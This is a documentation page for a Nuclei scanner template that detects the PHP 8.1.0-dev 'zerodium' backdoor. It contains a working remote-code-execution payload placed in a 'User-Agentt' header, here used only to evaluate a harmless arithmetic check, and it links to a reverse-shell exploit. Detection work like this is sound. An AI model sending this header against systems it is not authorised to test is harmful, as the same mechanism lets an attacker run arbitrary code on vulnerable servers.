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PHP 8.1.0-dev - Backdoor Remote Code Execution

ID: php-zerodium-backdoor-rce

Severity: critical

Author: dhiyaneshDk

Tags: php,backdoor,rce,zerodium

Description

Section titled “Description”

PHP 8.1.0-dev contains a backdoor dubbed ‘zerodiumvar_dump’ which can allow the execution of arbitrary PHP code.

YAML Source

Section titled “YAML Source”
id: php-zerodium-backdoor-rce


info:
  name: PHP 8.1.0-dev - Backdoor Remote Code Execution
  author: dhiyaneshDk
  severity: critical
  description: |
    PHP 8.1.0-dev contains a backdoor dubbed 'zerodiumvar_dump' which can allow the execution of arbitrary PHP code.
  reference:
    - https://news-web.php.net/php.internals/113838
    - https://flast101.github.io/php-8.1.0-dev-backdoor-rce/
    - https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/revshell_php_8.1.0-dev.py
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 1
  tags: php,backdoor,rce,zerodium


http:
  - method: GET
    path:
      - "{{BaseURL}}"


    headers:
      User-Agentt: zerodiumvar_dump(233333*333332);


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "int(77777355556)"
# digest: 4b0a00483046022100ca8784274a12ca70d56c3352a1b4b4ba79bca3e5a499618fab8eb468ec057f22022100802d506b094fb87890aa511739d18e0cbf1bdea1d713502e896b20097ab66cca:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/vulnerabilities/backdoor/php-zerodium-backdoor-rce.yaml"

View on Github